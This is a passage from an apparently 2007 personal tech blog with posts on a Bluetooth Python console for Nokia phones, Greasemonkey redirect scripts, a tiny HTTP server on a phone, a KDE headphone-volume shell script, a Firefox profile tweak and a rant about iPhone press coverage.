Then open Python shell on the phone and from Options, launch Bluetooth console. When prompted on which device to connect to, connect to your computer. If you get an error on the phone that says, 'No serial ports found!', then on the computer run sdptool add --channel=2 SP which'll advertise a serial port service on channel 2. Reinitiate the bluetooth console connection from the phone.
Once the bluetooth serial link is established, our console where rfcomm is patiently listening will print:
antrix@cellar:~$ rfcomm listen /dev/rfcomm0 2
Waiting for connection on channel 2
Connection from 00:18:C5:44:49:9E to /dev/rfcomm0
Press CTRL-C for hangup
Then, open a new shell and once again, use screen or minicom to open a connection to /dev/rfcomm0. If all went well, you should be greeted by the familiar Python console:
print u"hello"
hello
>>>
>>> import appuifw
>>> appuifw.note(u"hello world")
>>>
HTH!
techtalk | 0 comments | permalink | 25.10.2007 00:54 SGT
Greasemonkey Scripts
I wrote a couple of trivial Greasemonkey scripts for my use and I thought they'd be useful for some of you too.
The first is for Rediff. On Rediff, the Headlines tab contains perhaps two lines of news and the rest is devoted to tabloid stuff. So I wrote a script which'll automatically switch to the News tab when the page loads. Install: Rediff News First.
The second script is for Indian Express. Regular readers will know that the Indian Express story pages are just plain horrible. They are full of flash gimmicks and other doo-dads. To make matters worse, they even sneak in a pop-under ad from time to time. To get rid of all that, I wrote a script which simply redirects to the printer friendly version of a story. Install: Indian Express Printer Friendly.
techtalk | 0 comments | permalink | 15.10.2007 14:15 SGT
A different kind of Hello World
Following the last post, here's a new Hello World:

The party responsible for the above:
# File: simplehttp.py
import SocketServer
PORT = 80
PAGE="""<html><head><title>Hello World!</title></head>
<body>Hello World! You are reading a page served by a local server!<br/>
Your request headers were: <br/>
<pre>%s</pre></body></html>"""
class HTTPRespHandler(SocketServer.StreamRequestHandler):
def handle(self):
print "connection from", self.client_address
resp = "HTTP/1.0 200 OK\nContent-Type: text/html\n\n" + (PAGE % self.rfile.read(300))
self.wfile.write(resp)
if __name__ == '__main__':
server = SocketServer.TCPServer(("0.0.0.0", PORT), HTTPRespHandler)
print "listening on port", PORT
try:
server.serve_forever()
except:
server.server_close()
Points of interest:
- The SimpleSocket module doesn't ship with the Python for S60 distribution. But I just copied the
SimpleSocket.pyfile from the standard Python 2.2 distribution to the phone and it worked as-is. - If I tried to
self.wfile.write(...)in chunks instead of in one go, the browser would close the connection and time out. I could reproduce the same odd behaviour even with a simple, old-skoolsocketbased server. I don't know what's up with that.
techtalk | 2 comments | permalink | 28.08.2007 00:03 SGT
Snakes on a Phone!
techtalk | 4 comments | permalink | 24.08.2007 01:28 SGT
Really having things my way
In yesterday's post about implementing keyboard shortcuts to control headphone volume, I noted at the end that I wasn't happy with the look of the passive feedback display that kdialog provided. I am happy to report that I've found a solution.
The default volume control feedback (triggered by Fn+F?) is provided by a KDE daemon called kmilo. On a hunch, I poked around the DCOP interface exposed by kmilod and much to my joy, it provides functions called displayProgress and displayText - just what I needed! Herewith, the updated script:
#!/bin/sh
# vol.sh
# by deepak sarda
# public domain
# functions
usage() {
echo "Usage: $0 (less|more|mute)"
}
popup() {
# echo "$*"
# display popup with 1 second delay. Also, background the process so that
# script doesn't block. This lets us invoke the script in quick succession.
kdialog --title "Headphone" --passivepopup "$*" 1 &
}
displayProgress() {
if [ $kmilo ]; then
dcop kded kmilod displayProgress "$1" "$2" &
else
popup "$1 $2%"
fi
}
displayText() {
if [ $kmilo ]; then
dcop kded kmilod displayText "$*" &
else
popup $*
fi
}
currentVol() {
current_vol=`$app absoluteVolume $dev`
return $(($current_vol*100/$max_vol))
}
# Usage check
if [ $# -ne 1 ]; then
usage
exit
fi
kmilo=`dcop kded | grep -m 1 ^kmilod`
if [ ! `dcop | grep -m 1 ^kmix` ]; then
displayText "kmix not found"
exit
fi
app="dcop kmix `dcop kmix | grep ^Mixer`"
dev=2 # The headphone is device index 2 on my system
max_vol=`$app absoluteVolumeMax $dev`
if [ "$1" = "less" ]; then
$app decreaseVolume $dev
currentVol
displayProgress "Headphone Volume" $?
elif [ "$1" = "more" ]; then
$app increaseVolume $dev
currentVol
displayProgress "Headphone Volume" $?
elif [ "$1" = "mute" ]; then
$app toggleMute $dev
if [ `$app mute $dev` = "true" ]; then
displayText "Headphone mute on"
else
displayText "Headphone mute off"
fi
else
usage
fi
techtalk | 0 comments | permalink | 21.08.2007 19:59 SGT
Having things my way
Most laptops have at least two ways of letting sound out - via built in speakers and via a headphone jack. On my old and now retired Thinkpad, this duality was a frequent source of frustration. You see, to hear anything on the built-in speakers, I would have to turn the volume all the way up. Then some time later, I'd attach my headphones and play some movie or song, having forgotten that the volume is set to max. Result: irreparable ear damage.
My current laptop, a Dell Inspiron 700m, has a neat solution to this problem. The audio chipset on this machine allows me to change the volume of the headphone's output independent of the speaker volume! This lets me set the main speaker volume high (and usually muted) while leaving the headphone volume at a more reasonable level.

I am happy with this but not happy enough. Like most laptops, the Dell also has some Fn shortcut keys to control the system volume: Fn + F6 decreases the volume, Fn + F7 increases it while Fn + F5 toggles mute. Unfortunately, these control the Master channel (i.e. speakers) and have no effect on the headphone channel! So I lose the convenience of having these shortcut keys anytime I am using the headphones, which is most of the time.
Could this be remedied? This Dell's keyboard has the Win key next to the Fn key and so I figured that setting up Win + F5 etc., as shortcuts to control the headphone channel just like the master channel would be a good solution. Thankfully, DCOP makes it easy. A bit of experimentation revealed that dcop kmix Mixer0 provides all the functions I need to increase, decrease and mute the headphone channel. So a quick visit to KHotkeys and I've got global shortcuts for Win + F? to trigger the appropriate DCOP calls.
Could this be improved? One of the nice things about the Fn + F? triggers is that calling them provides visual feedback about what's going on. So pressing Fn + F6 shows a passive overlay window with the current volume. I could do the same for my Win + F? triggers by using kdialog to provide feedback via a passive window. To do that, I wrote a simple shell script around the dcop and kdialog calls and then mapped the Win + F? shortcuts to trigger the script with the appropriate parameters. I submit the script herewith for your kind perusal:
#!/bin/sh
# functions
usage() {
echo "Usage: $0 (less|more|mute)"
}
popup() {
# echo "$*"
# display popup with 1 second delay. Also, background the process so that
# script doesn't block. This lets us invoke the script in quick succession.
kdialog --title "Headphone" --passivepopup "$*" 1 &
}
currentVol() {
current_vol=`$app absoluteVolume $dev`
return $(($current_vol*100/$max_vol))
}
# Usage check
if [ $# -ne 1 ]; then
usage
exit
fi
if [ ! `dcop | grep -m 1 ^kmix` ]; then
popup "kmix not found"
exit
fi
app="dcop kmix `dcop kmix | grep ^Mixer`"
dev=2 # The headphone is device index 2 on my system
max_vol=`$app absoluteVolumeMax $dev`
if [ "$1" = "less" ]; then
$app decreaseVolume $dev
currentVol
popup "Volume is $?%"
elif [ "$1" = "more" ]; then
$app increaseVolume $dev
currentVol
popup "Volume is $?%"
elif [ "$1" = "mute" ]; then
$app toggleMute $dev
if [ `$app mute $dev` = "true" ]; then
popup "mute enabled"
else
popup "mute disabled"
fi
else
usage
fi
Although this script is functionally complete, I am still not happy with the look of the passive popup that kdialog displays. The notification shows up as a bubble on the top left of the screen even though my systray is on the bottom right of the screen. Further, I'd like to display the volume percentage as a progress bar instead of plain text. However, kdialog doesn't support passive progress dialogs.
Oh well, I can't have everything my way.
techtalk | 0 comments | permalink | 20.08.2007 23:02 SGT
Firefox for Apps
Over the past few days, I've been thinking about optimizing Firefox as a container for Web Apps - specifically apps like Google Docs which are basically desktop apps that happen to be delivered over the internets and not apps like Flickr which have the WWW embedded in their DNA.
The use case is simple: I have a couple of tabs with a couple of Google Docs documents open in Firefox; apart from a dozen or so other tabs open from regular web browsing. Every once in a while, a truant Java applet throws a fit or the Flash plugin cries over not getting exclusive rights to /dev/dsp. The result, more often than not, is that Firefox freezes and dies - taking my documents with it.
Now Google Docs is nice enough to auto-save every once in a while so that I never lose any data but it really kills me that some stupid cat video can take down my work as and when it pleases. So I set out to isolate the document editing session from the cat video watching session.
The first step, obviously, is to create a new 'Apps' Firefox profile for document editing sessions. Actually, that might as well be the last step since a different profile means that my 'regular browser' Firefox now runs as a different process and can't take down my 'Apps' Firefox process.

But just to prevent myself from turning the 'Apps' Firefox into a 'regular browser' (which it is!), I decided to take a few extra steps. First, I bookmarked my personal Google Docs page and my company's Google Docs page. Next, I set the bookmarks (which are saved as bookmarks.html in the profile folder) as my homepage. Finally, I hid the Bookmarks Toolbar and the Navigation Toolbar to prevent the temptation of opening random sites.
Then thinking about the pointless History and Help menus at the top, I created a userChrome.css file to hide them:
menu[label="Bookmarks Toolbar Folder"], #go-menu, #helpMenu {
display: none !important;
}
The result:

The little icon you see at the bottom right is the FullerScreen extension which makes the F11 full-screen a real full-screen which is all the more useful for an uninterrupted document work session.
If you have any tips that might take this idea further, please do share!
techtalk | 0 comments | permalink | 05.08.2007 13:42 SGT
Tired of iPhone/Safari lying
It appears that mainstream media journalists and many of the so called technology pundits are actually clueless, gullible idiots who'll eat anything dished out in a shiny package. They've been so completely fooled by Apple's rhetoric of 'first time full internet on a mobile device' that they wouldn't even consider looking out there for the truth. Fact is, Opera Mini has been giving a pretty decent 'full internet' experience for some time now although being software makers, they really couldn't do much about device screen sizes.
But more recently, Nokia has been shipping a fantastic browser on its latest phones such as the N95 well before the iPhone came out. Their browser renders websites as on a regular desktop browser and has the mini-map view that Apple loves to show off in their Safari/iPhone videos. In fact, the Nokia browser goes further and actually provides offline mode, form autocomplete and a password manager in their browser! I'd love to watch iPhone users tap out their username/password again and again and again. What is the most incredulous thing in all of this is that the Nokia browser and Apple's Safari are both based on the same open source WebKit code base!
Here's the latest sample of this brand of 'journalism' from Betanews:
Opera Mini arguably does a better job, but requires Java and does not work on many popular phones such as the Samsung Blackjack. [snip] This is what makes the iPhone's debut especially important, because an answer has finally been found.
So Opera Mini is ruled out 'cos it is available only on a few (i.e. a few hundred) phones but all hail Safari 'cos it's available on a grand total of one phone! What a way to make your point. The rest of the article is pretty much senseless too, with only a tangential mention of Nokia. It says Nokia is licensing touchscreen technology in a response to the iPhone - Nokia has been demoing touchscreen concepts before the iPhone's debut. And talking in those terms (feature-against-feature) doesn't even make sense. It's not like there weren't any touchscreen phones before the iPhone.. heck, I owned a Motorola E680 touchscreen until last year! Apple's genius is in building a compelling user interface around that technology. You can't license that!
From the videos I've seen, the iPhone looks like a pretty sweet device with a great user experience and it has most certainly forced everyone else to up their game, especially Nokia whose S60v3 is probably the slowest mobile OS on the market. But can we stop with all the lying please?
techtalk | 8 comments | permalink | 10.07.2007 10:44 SGT








